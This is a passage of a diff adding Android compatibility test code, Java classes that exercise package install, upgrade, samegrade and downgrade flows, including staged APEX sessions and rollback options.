+        mInstallRule.assertPackageVersion(mInstallType, VERSION_CODE_CURRENT);
+    }
+
+    /** Confirms versions after staged downgrades applied. */
+    @Test
+    public void assert_postReboot_phase() throws Exception {
+        assertThat(mSessionRule.retrieveSessionInfo().isStagedSessionApplied()).isTrue();
+        mInstallRule.assertPackageVersion(mInstallType, VERSION_CODE_DOWNGRADE);
+    }
+
+    /** Confirms the downgrade commit not allowed. */
+    @Test
+    public void assert_downgradeNotAllowed_phase() {
+        Install install = getParameterizedInstall(VERSION_CODE_DOWNGRADE).setRequestDowngrade();
+        InstallUtils.commitExpectingFailure(AssertionError.class,
+                "INSTALL_FAILED_VERSION_DOWNGRADE" + "|"
+                        + "Downgrade of APEX package com\\.android\\.apex\\.cts\\.shim is not "
+                        + "allowed",
+                install);
+        mInstallRule.assertPackageVersion(mInstallType, VERSION_CODE_CURRENT);
+    }
+
+    /** Confirms the downgrade commit not allowed without requesting downgrade. */
+    @Test
+    public void assert_downgradeNotRequested_phase() {
+        Install install = getParameterizedInstall(VERSION_CODE_DOWNGRADE);
+        InstallUtils.commitExpectingFailure(AssertionError.class,
+                "INSTALL_FAILED_VERSION_DOWNGRADE" + "|"
+                        + "Downgrade of APEX package com\\.android\\.apex\\.cts\\.shim is not "
+                        + "allowed",
+                install);
+        mInstallRule.assertPackageVersion(mInstallType, VERSION_CODE_CURRENT);
+    }
+
+    /** Gets parameterized {@link Install} of test packages with specific version. */
+    private Install getParameterizedInstall(int versionCode) {
+        List<TestApp> testApps = mInstallRule.getTestApps(mInstallType, versionCode);
+        Install install = testApps.size() == 1
+                ? Install.single(testApps.get(0))
+                : Install.multi(testApps.toArray(new TestApp[testApps.size()]));
+        if (mStaged) {
+            install.setStaged();
+        }
+        if (mEnableRollback) {
+            install.setEnableRollback();
+        }
+        return install;
+    }
+}
diff --git a/hostsidetests/install/app/src/android/cts/install/InstallRule.java b/hostsidetests/install/app/src/android/cts/install/InstallRule.java
new file mode 100644
index 0000000..a7d701b
--- /dev/null
+++ b/hostsidetests/install/app/src/android/cts/install/InstallRule.java
@@ -0,0 +1,163 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.cts.install;
+
+import static com.android.cts.install.lib.InstallUtils.getPackageInstaller;
+import static com.android.cts.shim.lib.ShimPackage.SHIM_APEX_PACKAGE_NAME;
+
+import static com.google.common.truth.Truth.assertWithMessage;
+
+import android.Manifest;
+import android.content.pm.PackageInfo;
+import android.content.pm.PackageInstaller;
+import android.util.Log;
+
+import androidx.test.platform.app.InstrumentationRegistry;
+
+import com.android.cts.install.lib.InstallUtils;
+import com.android.cts.install.lib.TestApp;
+import com.android.cts.install.lib.Uninstall;
+
+import com.google.common.collect.HashBasedTable;
+import com.google.common.collect.Table;
+
+import org.junit.rules.ExternalResource;
+
+import java.util.Arrays;
+import java.util.List;
+import java.util.stream.Collectors;
+
+/**
+ * Adopts needed permissions for testing install flow and provides test packages mappings
+ * corresponding to {@link INSTALL_TYPE}.
+ */
+final class InstallRule extends ExternalResource {
+    private static final String TAG = InstallRule.class.getSimpleName();
+
+    static final int VERSION_CODE_INVALID = -1;
+    static final int VERSION_CODE_DEFAULT = 1;
+
+    /** Indexes test apps with package name and versionCode */
+    private static final Table<String, Integer, TestApp> sTestAppMap = getTestAppTable();
+
+    @Override
+    protected void before() {
+        InstrumentationRegistry
+                .getInstrumentation()
+                .getUiAutomation()
+                .adoptShellPermissionIdentity(
+                        Manifest.permission.INSTALL_PACKAGES,
+                        Manifest.permission.DELETE_PACKAGES);
+    }
+
+    @Override
+    protected void after() {
+        InstrumentationRegistry
+                .getInstrumentation()
+                .getUiAutomation()
+                .dropShellPermissionIdentity();
+    }
+
+    /**
+     * Performs cleanup phase for test installations. Actual purpose of this method is to be called
+     * before and after each host-side test to reduce tests flakiness.
+     */
+    void cleanUp() throws Exception {
+        PackageInstaller packageInstaller = getPackageInstaller();
+        packageInstaller.getStagedSessions().stream()
+                .filter(sessionInfo -> !sessionInfo.hasParentSessionId())
+                .forEach(sessionInfo -> {
+                    try {
+                        Log.i(TAG, "abandoning session " + sessionInfo.getSessionId());
+                        packageInstaller.abandonSession(sessionInfo.getSessionId());
+                    } catch (Exception e) {
+                        Log.e(TAG, "Failed to abandon session " + sessionInfo.getSessionId(), e);
+                    }
+                });
+        Uninstall.packages(TestApp.A, TestApp.B);
+    }
+
+    /** Resolves corresponding test apps with specific install type and version. */
+    List<TestApp> getTestApps(INSTALL_TYPE installType, int versionCode) {
+        return getTestPackageNames(installType).stream()
+                .map(packageName -> getTestApp(packageName, versionCode))
+                .collect(Collectors.toList());
+    }
+
+    /** Asserts {@code packageNames} has been installed with expected version. */
+    void assertPackageVersion(INSTALL_TYPE installType, int version) {
+        getTestPackageNames(installType).stream().forEach(packageName -> {
+            long installedVersion = VERSION_CODE_INVALID;
+            long expectedVersion = version;
+
+            PackageInfo info = InstallUtils.getPackageInfo(packageName);
+            if (info != null) {
+                installedVersion = info.getLongVersionCode();
+                if (version == VERSION_CODE_INVALID && info.isApex) {
+                    // Apex cannot be fully uninstalled, verify default version instead.
+                    expectedVersion = VERSION_CODE_DEFAULT;
+                }
+            }
+
+            assertWithMessage(
+                    String.format("%s's versionCode expected to be %d, but was %d",
+                            packageName, expectedVersion, installedVersion))
+                    .that(installedVersion).isEqualTo(expectedVersion);
+        });
+    }
+
+    /**
+     * Resolves corresponding test packages.
+     *
+     * @note This method should be aligned with {@link INSTALL_TYPE}
+     */
+    private static List<String> getTestPackageNames(INSTALL_TYPE installType) {
+        switch (installType) {
+            case SINGLE_APK:
+                return Arrays.asList(TestApp.A);
+            case SINGLE_APEX:
+                return Arrays.asList(SHIM_APEX_PACKAGE_NAME);
+            case MULTIPLE_APKS:
+                return Arrays.asList(TestApp.A, TestApp.B);
+            case MULTIPLE_MIX:
+                return Arrays.asList(TestApp.A, SHIM_APEX_PACKAGE_NAME);
+            default:
+                throw new AssertionError("Unknown install type");
+        }
+    }
+
+    private static TestApp getTestApp(String packageName, int version) {
+        if (!sTestAppMap.contains(packageName, version)) {
+            throw new AssertionError("Unknown test app");
+        }
+        return sTestAppMap.get(packageName, version);
+    }
+
+    private static Table<String, Integer, TestApp> getTestAppTable() {
+        Table<String, Integer, TestApp> testAppMap = HashBasedTable.create();
+        testAppMap.put(TestApp.A, 1, TestApp.A1);
+        testAppMap.put(TestApp.A, 2, TestApp.A2);
+        testAppMap.put(TestApp.A, 3, TestApp.A3);
+        testAppMap.put(TestApp.B, 1, TestApp.B1);
+        testAppMap.put(TestApp.B, 2, TestApp.B2);
+        testAppMap.put(TestApp.B, 3, TestApp.B3);
+        testAppMap.put(SHIM_APEX_PACKAGE_NAME, 1, TestApp.Apex1);
+        testAppMap.put(SHIM_APEX_PACKAGE_NAME, 2, TestApp.Apex2);
+        testAppMap.put(SHIM_APEX_PACKAGE_NAME, 3, TestApp.Apex3);
+        return testAppMap;
+    }
+}
diff --git a/hostsidetests/install/app/src/android/cts/install/InstallTest.java b/hostsidetests/install/app/src/android/cts/install/InstallTest.java
new file mode 100644
index 0000000..5a5dd54
--- /dev/null
+++ b/hostsidetests/install/app/src/android/cts/install/InstallTest.java
@@ -0,0 +1,179 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.cts.install;
+
+import static android.cts.install.InstallRule.VERSION_CODE_INVALID;
+
+import static com.android.cts.install.lib.InstallUtils.getPackageInstaller;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import android.content.BroadcastReceiver;
+import android.content.Context;
+import android.content.Intent;
+import android.content.IntentFilter;
+import android.content.pm.PackageInstaller;
+
+import androidx.test.platform.app.InstrumentationRegistry;
+
+import com.android.cts.install.lib.Install;
+import com.android.cts.install.lib.InstallUtils;
+import com.android.cts.install.lib.TestApp;
+
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.junit.runners.Parameterized;
+import org.junit.runners.Parameterized.Parameter;
+import org.junit.runners.Parameterized.Parameters;
+
+import java.util.ArrayList;
+import java.util.Collection;
+import java.util.List;
+import java.util.concurrent.BlockingQueue;
+import java.util.concurrent.LinkedBlockingQueue;
+import java.util.concurrent.TimeUnit;
+
+@RunWith(Parameterized.class)
+public final class InstallTest {
+    @Parameter(0)
+    public INSTALL_TYPE mInstallType;
+
+    @Parameter(1)
+    public boolean mStaged;
+
+    @Parameter(2)
+    public boolean mEnableRollback;
+
+    @Parameters(name = "{0}_Staged{1}_Rollback{2}")
+    public static Collection<Object[]> combinations() {
+        boolean[] booleanValues = new boolean[]{true, false};
+        List<Object[]> temp = new ArrayList<>();
+        for (INSTALL_TYPE installType : INSTALL_TYPE.values()) {
+            for (boolean staged : booleanValues) {
+                for (boolean enableRollback : booleanValues) {
+                    temp.add(new Object[]{installType, staged, enableRollback});
+                }
+            }
+        }
+        return temp;
+    }
+
+    @Rule
+    public InstallRule mInstallRule = new InstallRule();
+
+    @Rule
+    public SessionRule mSessionRule = new SessionRule();
+
+    private static final int VERSION_CODE_TARGET = 2;
+
+    /**
+     * Cleans up test environment.
+     *
+     * This is marked as @Test to take advantage of @Before/@After methods of hostside test cases.
+     * Actual purpose of this method to be called before and after each test case of
+     * {@link android.cts.install.host.InstallTest} to reduce tests flakiness.
+     */
+    @Test
+    public void cleanUp_phase() throws Exception {
+        mInstallRule.cleanUp();
+        mSessionRule.cleanUp();
+    }
+
+    @Test
+    public void action_phase() throws Exception {
+        Install install = getParameterizedInstall(VERSION_CODE_TARGET);
+        int sessionId = install.commit();
+        mSessionRule.recordSessionId(sessionId);
+    }
+
+    @Test
+    public void assert_commitFailure_phase() {
+        Install install = getParameterizedInstall(VERSION_CODE_TARGET);
+        InstallUtils.commitExpectingFailure(IllegalArgumentException.class,
+                "APEX files can only be installed as part of a staged session.", install);
+    }
+
+    @Test
+    public void assert_phase() {
+        mInstallRule.assertPackageVersion(mInstallType, VERSION_CODE_TARGET);
+    }
+
+    @Test
+    public void assert_preReboot_phase() throws Exception {
+        assertNoSessionCommitBroadcastSent();
+        assertThat(mSessionRule.retrieveSessionInfo().isStagedSessionReady()).isTrue();
+        mInstallRule.assertPackageVersion(mInstallType, VERSION_CODE_INVALID);
+    }
+
+    @Test
+    public void assert_postReboot_phase() throws Exception {
+        assertThat(mSessionRule.retrieveSessionInfo().isStagedSessionApplied()).isTrue();
+        mInstallRule.assertPackageVersion(mInstallType, VERSION_CODE_TARGET);
+        assertNoSessionCommitBroadcastSent();
+    }
+
+    @Test
+    public void action_abandonSession_phase() throws Exception {
+        getPackageInstaller().abandonSession(mSessionRule.retrieveSessionId());
+    }
+
+    @Test
+    public void assert_abandonSession_phase() {
+        mInstallRule.assertPackageVersion(mInstallType, VERSION_CODE_INVALID);
+    }
+
+    /** Gets parameterized {@link Install} of test packages with specific version. */
+    private Install getParameterizedInstall(int versionCode) {
+        List<TestApp> testApps = mInstallRule.getTestApps(mInstallType, versionCode);
+        Install install = testApps.size() == 1
+                ? Install.single(testApps.get(0))
+                : Install.multi(testApps.toArray(new TestApp[testApps.size()]));
+        if (mStaged) {
+            install.setStaged();
+        }
+        if (mEnableRollback) {
+            install.setEnableRollback();
+        }
+        return install;
+    }
+
+    private static void assertNoSessionCommitBroadcastSent() throws InterruptedException {
+        BlockingQueue<PackageInstaller.SessionInfo> committedSessions = new LinkedBlockingQueue<>();
+        BroadcastReceiver sessionCommittedReceiver = new BroadcastReceiver() {
+            @Override
+            public void onReceive(Context context, Intent intent) {
+                try {
+                    PackageInstaller.SessionInfo info =
+                            intent.getParcelableExtra(PackageInstaller.EXTRA_SESSION);
+                    committedSessions.put(info);
+                } catch (InterruptedException e) {
+                    throw new AssertionError(e);
+                }
+            }
+        };
+
+        Context context = InstrumentationRegistry.getInstrumentation().getContext();
+        context.registerReceiver(sessionCommittedReceiver,
+                new IntentFilter(PackageInstaller.ACTION_SESSION_COMMITTED));
+
+        PackageInstaller.SessionInfo info = committedSessions.poll(10, TimeUnit.SECONDS);
+        context.unregisterReceiver(sessionCommittedReceiver);
+
+        assertThat(info).isNull();
+    }
+}
diff --git a/hostsidetests/install/app/src/android/cts/install/LauncherActivity.java b/hostsidetests/install/app/src/android/cts/install/LauncherActivity.java
new file mode 100644
index 0000000..d91b0ae
--- /dev/null
+++ b/hostsidetests/install/app/src/android/cts/install/LauncherActivity.java
@@ -0,0 +1,22 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.cts.install;
+
+import android.app.Activity;
+
+public class LauncherActivity extends Activity {
+}
\ No newline at end of file
diff --git a/hostsidetests/install/app/src/android/cts/install/SamegradeTest.java b/hostsidetests/install/app/src/android/cts/install/SamegradeTest.java
new file mode 100644
index 0000000..2b82fef
--- /dev/null
+++ b/hostsidetests/install/app/src/android/cts/install/SamegradeTest.java
@@ -0,0 +1,175 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.cts.install;
+
+import static com.android.cts.install.lib.InstallUtils.getPackageInfo;
+import static com.android.cts.shim.lib.ShimPackage.SHIM_APEX_PACKAGE_NAME;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import android.content.pm.ApplicationInfo;
+import android.content.pm.PackageInfo;
+
+import com.android.cts.install.lib.Install;
+import com.android.cts.install.lib.TestApp;
+
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.junit.runners.Parameterized;
+import org.junit.runners.Parameterized.Parameter;
+import org.junit.runners.Parameterized.Parameters;
+
+import java.util.ArrayList;
+import java.util.Collection;
+import java.util.List;
+
+@RunWith(Parameterized.class)
+public final class SamegradeTest {
+    @Parameter(0)
+    public INSTALL_TYPE mInstallType;
+
+    @Parameter(1)
+    public boolean mStaged;
+
+    @Parameter(2)
+    public boolean mEnableRollback;
+
+    @Parameters(name = "{0}_Staged{1}_Rollback{2}")
+    public static Collection<Object[]> combinations() {
+        boolean[] booleanValues = new boolean[]{true, false};
+        List<Object[]> temp = new ArrayList<>();
+        for (INSTALL_TYPE installType : INSTALL_TYPE.values()) {
+            for (boolean staged : booleanValues) {
+                for (boolean enableRollback : booleanValues) {
+                    temp.add(new Object[]{installType, staged, enableRollback});
+                }
+            }
+        }
+        return temp;
+    }
+
+    @Rule
+    public InstallRule mInstallRule = new InstallRule();
+
+    @Rule
+    public SessionRule mSessionRule = new SessionRule();
+
+    private static final int VERSION_CODE_SAMEGRADE = 2;
+    private static final int VERSION_CODE_SAMEGRADE_SYSTEM = 1;
+
+    /**
+     * Cleans up test environment.
+     *
+     * This is marked as @Test to take advantage of @Before/@After methods of hostside test cases.
+     * Actual purpose of this method to be called before and after each test case to reduce tests
+     * flakiness.
+     */
+    @Test
+    public void cleanUp_phase() throws Exception {
+        mInstallRule.cleanUp();
+        mSessionRule.cleanUp();
+    }
+
+    /** Install the version {@link #VERSION_CODE_SAMEGRADE} of the apps to be samegraded. */
+    @Test
+    public void arrange_phase() throws Exception {
+        getParameterizedInstall(VERSION_CODE_SAMEGRADE).commit();
+    }
+
+    @Test
+    public void assert_postArrange_phase() {
+        mInstallRule.assertPackageVersion(mInstallType, VERSION_CODE_SAMEGRADE);
+    }
+
+    @Test
+    public void action_phase() throws Exception {
+        Install install = getParameterizedInstall(VERSION_CODE_SAMEGRADE);
+        int sessionId = install.commit();
+        mSessionRule.recordSessionId(sessionId);
+    }
+
+    @Test
+    public void assert_phase() {
+        mInstallRule.assertPackageVersion(mInstallType, VERSION_CODE_SAMEGRADE);
+    }
+
+    /** Confirms versions before staged samegrades applied. */
+    @Test
+    public void assert_preReboot_phase() throws Exception {
+        assertThat(mSessionRule.retrieveSessionInfo().isStagedSessionReady()).isTrue();
+        mInstallRule.assertPackageVersion(mInstallType, VERSION_CODE_SAMEGRADE);
+    }
+
+    /** Confirms versions after staged samegrades applied. */
+    @Test
+    public void assert_postReboot_phase() throws Exception {
+        assertThat(mSessionRule.retrieveSessionInfo().isStagedSessionApplied()).isTrue();
+        mInstallRule.assertPackageVersion(mInstallType, VERSION_CODE_SAMEGRADE);
+    }
+
+    @Test
+    public void action_systemApex_phase() throws Exception {
+        final PackageInfo shim = getPackageInfo(SHIM_APEX_PACKAGE_NAME);
+        assertThat(shim).isNotNull();
+        assertThat(shim.getLongVersionCode())
+                .isEqualTo(VERSION_CODE_SAMEGRADE_SYSTEM);
+        assertThat(shim.applicationInfo.flags & ApplicationInfo.FLAG_SYSTEM)
+                .isEqualTo(ApplicationInfo.FLAG_SYSTEM);
+        assertThat(shim.applicationInfo.flags & ApplicationInfo.FLAG_INSTALLED)
+                .isEqualTo(ApplicationInfo.FLAG_INSTALLED);
+
+        int sessionId = getParameterizedInstall(VERSION_CODE_SAMEGRADE_SYSTEM).commit();
+        mSessionRule.recordSessionId(sessionId);
+    }
+
+    @Test
+    public void assert_systemApex_postReboot_phase() throws Exception {
+        final int INSTALLED_ON_DATA_PART = 0;
+        assertThat(mSessionRule.retrieveSessionInfo().isStagedSessionApplied()).isTrue();
+
+        final PackageInfo shim = getPackageInfo(SHIM_APEX_PACKAGE_NAME);
+        assertThat(shim).isNotNull();
+        assertThat(shim.getLongVersionCode())
+                .isEqualTo(VERSION_CODE_SAMEGRADE_SYSTEM);
+
+        // Check that APEX on /data wins.
+        assertThat(shim.applicationInfo.flags & ApplicationInfo.FLAG_SYSTEM)
+                .isEqualTo(INSTALLED_ON_DATA_PART);
+        assertThat(shim.applicationInfo.flags & ApplicationInfo.FLAG_INSTALLED)
+                .isEqualTo(ApplicationInfo.FLAG_INSTALLED);
+        assertThat(shim.applicationInfo.sourceDir)
+                .isEqualTo("/data/apex/active/com.android.apex.cts.shim@1.apex");
+        assertThat(shim.applicationInfo.publicSourceDir)
+                .isEqualTo(shim.applicationInfo.sourceDir);
+    }
+
+    /** Gets parameterized {@link Install} of test packages with specific version. */
+    private Install getParameterizedInstall(int versionCode) {
+        List<TestApp> testApps = mInstallRule.getTestApps(mInstallType, versionCode);
+        Install install = testApps.size() == 1
+                ? Install.single(testApps.get(0))
+                : Install.multi(testApps.toArray(new TestApp[testApps.size()]));
+        if (mStaged) {
+            install.setStaged();
+        }
+        if (mEnableRollback) {
+            install.setEnableRollback();
+        }
+        return install;
+    }
+}
diff --git a/hostsidetests/install/app/src/android/cts/install/SessionRule.java b/hostsidetests/install/app/src/android/cts/install/SessionRule.java
new file mode 100644
index 0000000..5c95c4f
--- /dev/null
+++ b/hostsidetests/install/app/src/android/cts/install/SessionRule.java
@@ -0,0 +1,83 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.cts.install;
+
+import static com.android.cts.install.lib.InstallUtils.getPackageInstaller;
+
+import android.content.Context;
+import android.content.pm.PackageInstaller;
+
+import androidx.test.platform.app.InstrumentationRegistry;
+
+import org.junit.rules.ExternalResource;
+
+import java.io.BufferedReader;
+import java.io.BufferedWriter;
+import java.io.File;
+import java.io.FileReader;
+import java.io.FileWriter;
+import java.io.IOException;
+import java.nio.file.Files;
+import java.util.Optional;
+
+/** Utils for recording session state and retrieving recorded session info. */
+final class SessionRule extends ExternalResource {
+    private static final String STATE_FILENAME = "ctsstagedinstall_state";
+
+    private final Context mContext;
+    private final File mTestStateFile;
+
+    SessionRule() {
+        mContext = InstrumentationRegistry.getInstrumentation().getContext();
+        mTestStateFile = new File(mContext.getFilesDir(), STATE_FILENAME);
+    }
+
+    @Override
+    protected void before() throws Throwable {
+        mTestStateFile.createNewFile();
+    }
+
+    /**
+     * Performs cleanup phase for this rule. Actual purpose of this method is to be called before
+     * and after each host-side test to reduce tests flakiness.
+     */
+    void cleanUp() throws IOException {
+        Files.deleteIfExists(mTestStateFile.toPath());
+    }
+
+    void recordSessionId(int sessionId) throws IOException {
+        try (BufferedWriter writer = new BufferedWriter(new FileWriter(mTestStateFile))) {
+            writer.write(String.valueOf(sessionId));
+        }
+    }
+
+    int retrieveSessionId() throws IOException {
+        try (BufferedReader reader = new BufferedReader(new FileReader(mTestStateFile))) {
+            return Integer.parseInt(reader.readLine());
+        }
+    }
+
+    /**
+     * Returns {@link android.content.pm.PackageInstaller.SessionInfo} with session id recorded
+     * in {@link #mTestStateFile}. Assert error if no session found.
+     */
+    PackageInstaller.SessionInfo retrieveSessionInfo() throws IOException {
+        return Optional.of(getPackageInstaller().getSessionInfo(retrieveSessionId()))
+                .orElseThrow(() -> new AssertionError(
+                        "Expecting to find session with getSessionInfo()"));
+    }
+}
\ No newline at end of file
diff --git a/hostsidetests/install/app/src/android/cts/install/UpgradeTest.java b/hostsidetests/install/app/src/android/cts/install/UpgradeTest.java
new file mode 100644
index 0000000..81559e9
--- /dev/null
+++ b/hostsidetests/install/app/src/android/cts/install/UpgradeTest.java
@@ -0,0 +1,126 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.cts.install;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import com.android.cts.install.lib.Install;
+import com.android.cts.install.lib.TestApp;
+
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.junit.runners.Parameterized;
+import org.junit.runners.Parameterized.Parameter;
+import org.junit.runners.Parameterized.Parameters;
+
+import java.util.ArrayList;
+import java.util.Collection;
+import java.util.List;
+
+@RunWith(Parameterized.class)
+public final class UpgradeTest {
+    @Parameter(0)
+    public INSTALL_TYPE mInstallType;
+
+    @Parameter(1)
+    public boolean mStaged;
+
+    @Parameter(2)
+    public boolean mEnableRollback;
+
+    @Parameters(name = "{0}_Staged{1}_Rollback{2}")
+    public static Collection<Object[]> combinations() {
+        boolean[] booleanValues = new boolean[]{true, false};
+        List<Object[]> temp = new ArrayList<>();
+        for (INSTALL_TYPE installType : INSTALL_TYPE.values()) {
+            for (boolean staged : booleanValues) {
+                for (boolean enableRollback : booleanValues) {
+                    temp.add(new Object[]{installType, staged, enableRollback});
+                }
+            }
+        }
+        return temp;
+    }
+
+    @Rule
+    public InstallRule mInstallRule = new InstallRule();
+
+    @Rule
+    public SessionRule mSessionRule = new SessionRule();
+
+    private static final int VERSION_CODE_CURRENT = 2;
+    private static final int VERSION_CODE_UPGRADE = 3;
+
+    @Test
+    public void cleanUp_phase() throws Exception {
+        mInstallRule.cleanUp();
+        mSessionRule.cleanUp();
+    }
+
+    /** Install the version {@link #VERSION_CODE_CURRENT} of the apps to be upgraded. */
+    @Test
+    public void arrange_phase() throws Exception {
+        getParameterizedInstall(VERSION_CODE_CURRENT).commit();
+    }
+
+    @Test
+    public void assert_postArrange_phase() {
+        mInstallRule.assertPackageVersion(mInstallType, VERSION_CODE_CURRENT);
+    }
+
+    @Test
+    public void action_phase() throws Exception {
+        Install install = getParameterizedInstall(VERSION_CODE_UPGRADE);
+        int sessionId = install.commit();
+        mSessionRule.recordSessionId(sessionId);
+    }
+
+    @Test
+    public void assert_phase() {
+        mInstallRule.assertPackageVersion(mInstallType, VERSION_CODE_UPGRADE);
+    }
+
+    /** Confirms versions before staged samegrades applied. */
+    @Test
+    public void assert_preReboot_phase() throws Exception {
+        assertThat(mSessionRule.retrieveSessionInfo().isStagedSessionReady()).isTrue();
+        mInstallRule.assertPackageVersion(mInstallType, VERSION_CODE_CURRENT);
+    }
+
+    /** Confirms versions after staged samegrades applied. */
+    @Test
+    public void assert_postReboot_phase() throws Exception {
+        assertThat(mSessionRule.retrieveSessionInfo().isStagedSessionApplied()).isTrue();
+        mInstallRule.assertPackageVersion(mInstallType, VERSION_CODE_UPGRADE);
+    }
+
+    /** Gets parameterized {@link Install} of test packages with specific version. */
+    private Install getParameterizedInstall(int versionCode) {
+        List<TestApp> testApps = mInstallRule.getTestApps(mInstallType, versionCode);
+        Install install = testApps.size() == 1
+                ? Install.single(testApps.get(0))
+                : Install.multi(testApps.toArray(new TestApp[testApps.size()]));
+        if (mStaged) {
+            install.setStaged();
+        }
+        if (mEnableRollback) {
+            install.setEnableRollback();
+        }
+        return install;
+    }
+}
diff --git a/hostsidetests/install/src/android/cts/install/INSTALL_TYPE.java b/hostsidetests/install/src/android/cts/install/INSTALL_TYPE.java
new file mode 100644
index 0000000..ef98e07
--- /dev/null
+++ b/hostsidetests/install/src/android/cts/install/INSTALL_TYPE.java
@@ -0,0 +1,42 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.cts.install;
+
+/**
+ * Indicates target test packages of the installation test.
+ *
+ * @note Once the enum changed, remember to update
+ * {@link InstallRule#getTestPackageNames(INSTALL_TYPE)} correspondingly as well.
+ */
+// TODO(b/136152558): Supports MULTIPLE_APEXS type
+public enum INSTALL_TYPE {
+    SINGLE_APK,
+    SINGLE_APEX,
+    MULTIPLE_APKS,
+    MULTIPLE_MIX;
+
+    /** Returns true if the install type are testing apex package. */
+    public boolean containsApex() {
+        switch (this) {
+            case SINGLE_APEX:
+            case MULTIPLE_MIX:
+                return true;
+            default:
+                return false;
+        }
+    }
+}
diff --git a/hostsidetests/install/src/android/cts/install/host/DeviceParameterized.java b/hostsidetests/install/src/android/cts/install/host/DeviceParameterized.java
new file mode 100644
index 0000000..9e7743a
--- /dev/null
+++ b/hostsidetests/install/src/android/cts/install/host/DeviceParameterized.java
@@ -0,0 +1,109 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.cts.install.host;
+
+import com.android.tradefed.invoker.TestInformation;
+import com.android.tradefed.testtype.ITestInformationReceiver;
+import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
+
+import org.junit.runner.Description;
+import org.junit.runner.Runner;
+import org.junit.runners.Parameterized;
+import org.junit.runners.model.InitializationError;
+import org.junit.runners.parameterized.BlockJUnit4ClassRunnerWithParameters;
+import org.junit.runners.parameterized.ParametersRunnerFactory;
+import org.junit.runners.parameterized.TestWithParameters;
+
+import java.util.List;
+
+/**
+ * Custom JUnit4 parameterized test runner that also accommodate {@link ITestInformationReceiver}
+ * to support {@link BaseHostJUnit4Test#getDevice()} properly.
+ */
+public final class DeviceParameterized extends Parameterized implements ITestInformationReceiver {
+    private TestInformation mTestInformation;
+    private List<Runner> mRunners;
+
+    public DeviceParameterized(Class<?> klass) throws Throwable {
+        super(klass);
+        mRunners = super.getChildren();
+    }
+
+    @Override
+    public void setTestInformation(TestInformation testInformation) {
